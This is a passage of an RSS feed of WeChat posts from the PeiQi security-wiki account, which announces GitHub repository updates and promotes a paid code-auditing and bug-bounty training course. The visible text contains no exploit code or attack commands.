Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4342627a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493940%26idx%3D1%26sn%3D844291a4789f670b111579f37621f44b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 11 Aug 2023 18:23:00 +0800</pubDate>
    </item>
    <item>
      <title>PeiQi文库 - Github更新 (2)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493936&amp;idx=1&amp;sn=665354ca459157a8f2fc39033f07703b</link>
      <description>PeiQi文库 - Github更新 (2)</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2023-08-10 15:49</span> <span style="display: inline-block;">北京</span>
</p>

<p>PeiQi文库 - Github更新 (2)</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0501e164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXtAB6MribNMdiam6URbZsZhxDl1wczmXsf1Vkw0xYPRXp6Vu6PoA8H7g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><p><img class="rich_pages wxw-img" data-ratio="1" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3acb14ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUdjXwQ2vk0wTGCIb9icVu77fVMtVPreeicnJrIwwfmApVdIID1JrXjeVA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=74667503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cU28BTMkJPoo8JIicIXC49BCdyApGtNkygZJfZicxapw0X9LySnLXc8SIg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">近期更新</span></h2><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/PeiQi0/PeiQi-WIKI-Book</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8083333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ba0934bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el5zNraT69RILTLrxQhBWL4sFlBmXurdYA8E1iciafO6FWNjmbJgsYZuw76ypoxiar3GiaZvQicdSgAdfAw%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section><br/></section><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;outline: 0px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="padding-left: 10px;outline: 0px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="margin: 20px auto;outline: 0px;border-radius: 0px 0px 5px 5px;display: block;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;width: 657px;visibility: visible !important;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=859ead22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0TBrxXJicZSulu5BTR3a6M97ic6EkNiclUicEq3RsdvZSHibj1iahw5ia6HANg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;outline: 0px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="padding-left: 10px;outline: 0px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-size: 16px;letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;outline: 0px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 657px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;outline: 0px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;">在线文库: <a href="https://wiki.peiqi.tech (暂时关闭个人用户使用)" target="_blank">https://wiki.peiqi.tech (暂时关闭个人用户使用)</a><br style="outline: 0px;"/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br style="outline: 0px;"/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5444444444444444" style="margin: 20px auto;outline: 0px;border-radius: 0px 0px 5px 5px;display: block;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;width: 657px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9148700a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0Q2ujbJFIFWslsEY2F3vrdich0sJSDLGe8Ppleu7JCOur9akqStbLPbg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=32fb3ee8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493936%26idx%3D1%26sn%3D665354ca459157a8f2fc39033f07703b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 10 Aug 2023 15:49:00 +0800</pubDate>
    </item>
    <item>
      <title>PeiQi文库 - Github更新～</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493901&amp;idx=1&amp;sn=ea6b1d81b4ad850c1fd8eaa74f1e50c3</link>
      <description>PeiQi文库 - Github更新～</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2023-08-09 18:09</span> <span style="display: inline-block;">北京</span>
</p>

<p>PeiQi文库 - Github更新～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0501e164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXtAB6MribNMdiam6URbZsZhxDl1wczmXsf1Vkw0xYPRXp6Vu6PoA8H7g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=74667503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cU28BTMkJPoo8JIicIXC49BCdyApGtNkygZJfZicxapw0X9LySnLXc8SIg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">近期更新</span></h2><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/PeiQi0/PeiQi-WIKI-Book</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1428571428571428" data-s="300,640" style="" data-type="png" data-w="1330" src="https://wechat2rss.xlab.app/img-proxy/?k=203ee31d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el4R6u8YzFiawIbQDZsyu2WcGWOsr5Qf0pIp1sKapwlxxqGJcOAYxEdhQNrbiayCAyXzZpNiawicQPr8nw%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=24a0f1bc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493901%26idx%3D1%26sn%3Dea6b1d81b4ad850c1fd8eaa74f1e50c3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Aug 2023 18:09:00 +0800</pubDate>
    </item>
    <item>
      <title>PeiQi 文库与北山安全联合的 第一期 代码审计 + SRC挖掘 培训来啦～</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493840&amp;idx=1&amp;sn=ae11af60cb81257d5eb279d84c36419e</link>
      <description>PeiQi文库与北山安全联合的 第一期 代码审计 + SRC挖掘 培训来啦～</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2023-07-06 11:13</span> <span style="display: inline-block;">湖北</span>
</p>

<p>PeiQi文库与北山安全联合的 第一期 代码审计 + SRC挖掘 培训来啦～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=315ecf56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FibicicIH182el6aQk5QIupCgY1tQDQDSjljY5hU2unbyVNryDENhib8S8K4Dd5CT09MDawwSiayaVrtzXA7rWo26J0w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="671" data-backw="474" data-ratio="1.4148148148148147" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cf166e3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6H62Gm0gHZjaMiaMeuThjOPsY6nMPAiaVdasDHydWExVIkUhAvwFJUl7acHEH82HP4Q2PWCuicoINmg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">课程大纲</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="332" data-backw="474" data-ratio="0.7" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1c8930cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6H62Gm0gHZjaMiaMeuThjOPLyc11TyTBZXBlG0QSHpicsZgQvwXCQRMkQ99Bv51mVEAyaavVDXpdyw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">一次付费永久学习</span></h2><p data-tool="mdnice编辑器" style="margin: 10px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;text-wrap: wrap;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">目前课程报名为一次付费加入永久学习，加入第一期后后续所有课程就都可以免费学啦，价格目前是 3288~, 想要加入的小伙伴扫描海报二维码</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于课程</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">代码审计课程中，一共十四期挖掘思路，主要挖掘目标为各类安全设备以及边界设备等等，通过课程可以充分的了解到设备的常见漏洞出现点和漏洞发生逻辑，从逻辑出发挖掘功能点</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">课程还额外包含了近期爆发高危漏洞的代码分析，贴近近期攻防漏洞</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">每周 2 ～ 3 节课 中插入 1 节来自 北山安全的 SRC 课程，在学习代码审计的同时了解企业常见漏洞和掌握SRC漏洞挖掘技巧，当然，代码审计中我们也不单单的局限于复杂的代码中，而是精确定位逻辑，找出薄弱点，通过思路快速挖掘漏洞</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">SRC课程讲师是来自于北山安全学院的 北山师傅 (百度SRC 2022年榜第八) 和 陈广师傅 (TSRC 2022年榜第二)</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下图分别为北山师傅和陈广师傅的SRC战绩～</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="306" data-backw="474" data-ratio="0.6444444444444445" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9452595d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el6H62Gm0gHZjaMiaMeuThjOPGqvzqxSLPyyhaR5TlmSpHInib6s8KduraRw2Pl12DjTFbWIpO6VudFA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.2em;word-spacing: 0.1em;"></span></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 3px;text-align: left;word-spacing: 1.5px;text-wrap: wrap;"></span></p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



